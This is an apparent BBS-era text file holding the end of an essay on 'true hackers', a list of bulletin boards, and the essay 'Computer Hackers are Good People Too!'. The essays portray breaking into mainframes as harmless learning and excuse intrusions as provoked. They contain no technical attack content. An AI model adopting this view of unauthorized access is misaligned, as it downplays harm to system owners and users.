the media would have us call hackers is bragging.  You tell a friend,"or you
run your mouth on a board, and sooner or later people in power will find out
what you did, who you are, and you're gone...

     I honestly don't know what purpose this file will serve, maybe someone
somewhere will read it, and know the truth about hackers.  Not the lies that
the ignorant spread.  To the true hackers out there, I hope I am portraying
what you are in this file...  If I am not, then I at least am saying what I
think a true hacker should be.  And to those wanna-be's out there who like
the label of "HACKER" being tacked onto them, grow up, would ya?

     Oh yeah, the file I quoted from...  It has been done (at least) two
times.  "The Hacker's Manifesto" or "Conscience of a Hacker" are the two
names I've seen it given.  (A file by itself, and part of an issue of Phrack)
Either way, it was written by The Mentor, and it is absolutely the best thing
ever written on the subject of hackers.  Read it, it could change your life.

Spread it around, but don't change anything please. . .

 Another file downloaded from:                     The NIRVANAnet(tm) Seven

 & the Temple of the Screaming Electron   Taipan Enigma        510/935-5845
 Burn This Flag                           Zardoz               408/363-9766
 realitycheck                             Poindexter Fortran   510/527-1662
 Lies Unlimited                           Mick Freen           801/278-2699
 The New Dork Sublime                     Biffnix              415/864-DORK
 The Shrine                               Rif Raf              206/794-6674
 Planet Mirth                             Simon Jester         510/786-6560

                          "Raw Data for Raw Nerves"

Computer Hackers are Good People Too!

Computer Hackers are Good People Too!

I am writing this artical in hopes of dispelling the general idea that all
Hackers are terrible teenagers that dwell on Electronic Mischief!

Most Hackers are basically good kids, and the only time they really go forth
and do anything wrong against someone or some company is when they are quite
upset at that person or company and have been provoked.

Why do Hackers Hack?  Most do it to learn! Thats right learn. What do they
learn? Well they learn to think, and to think more consisely, presisely, and
clearly! When hacking onto a mainframe or other system they try to put them
selves in the place of the programer that designed the security on that system
 and they think like the programer to help themselves figure out how to get
in. When that code is finnaly broken it is a great feeling, it is a feeling of
great accomplishment and a feeling of having learned how to get into that type
of system.

Hackers use more brain power in 1 hours time of hacking than any general
public person uses in an 8 hour workday!

The general public in it's vast majority, is basically stupid about computers.
Sorry but that is my shared opinion. After watching a Donahue show on hackers
and seeing how many people that did not understand the computer field, and
listening to one lady in particular that said, "I think computers are evil!
I wont ever let my children use them", which was followed by alot of applause,
I promptly retorted to the TV screen, "You stupid pepole!". Now with Hospitals
useing computers that can be called into by other hospitals, a doctor in
Cleveland can download the medical history of an emergency patient that is
unconsious, who is from Seattle, and decide what he shouldn't or should
administer to the patient. All of that in a matter of minutes!

I am especilly suprised that the "Moral Majority" hasn't come forward
denouncing computers as "Satins New Vise!".

Now back to Hackers, most hackers are as I said good people, and enjoy learning
what they want to learn, but it seems that everyone is out to get us all and
more or less punish us for learning on our own and haveing the will to learn!
Granted also hackers are not the tidyest persons, like me, Oh I dress very
well and neat, but my room is another story. A trail through the books,
printouts, news papers. The trail starts at the door and goes to the computer,
then from the computer to the bed, the desk where I have my computer is well
organized though.

After examining everything, we have to admit that the new computer generation
kids are by far the most intellegent & well informed gereration ever in the
human race! After all most of us may be teenagers, (although I am finnaly out
of that bracket), but we do read magizines such as "NEWS WEEK", "TIME",
"US NEWS" and the News paper, watch the eveing news, etc..., we know what is
happening in our world all of the time.  I would put a 10 - 1 odds that if
you gathered together 200 - 300 or so of the best hackers in the U.S., that
they could solve our Nations problems, such as the deficit, missle buildup,
world peace, etc.. , in a fraction of the time it takes Congress to pass
a bill!

If hackers are so terrible, why is it that there big companys that hire
hackers to test their systems for security breaks & loopholes? Why are there
hackers that now make their living at designing security systems?

Hackers Are Here, And They Are Here To Stay!!  There is a Hacker saying that
says; "If some one can make it, some one can break it!

Now there are 5 types of hackers. The good ones are; The Novice, The Student,
and The Tourist. These 3 are not out to hurt anyone or destroy any data, they
are just looking around, seeing and learning!  It is the other 2 types that
are the trouble makers and they are; The Crasher, and the Thief. These 2 types
mostly do not crash a system or steal info for their own enjoyment, even
though there are some scattered individuals that proabably do. These 2
do it mostly because they are hired to crash a rivial business's computer
or steal the new info on a new product. It is these 2 that have hurt the
integrety of the Hacker!

Written by:  Ninja Squirrel  /+\
Member of: The Cartel, Hacker Supreame, Allied Hackers Alliance & NIN TEMPLE.
[ This was Article #1, More will be following. ]
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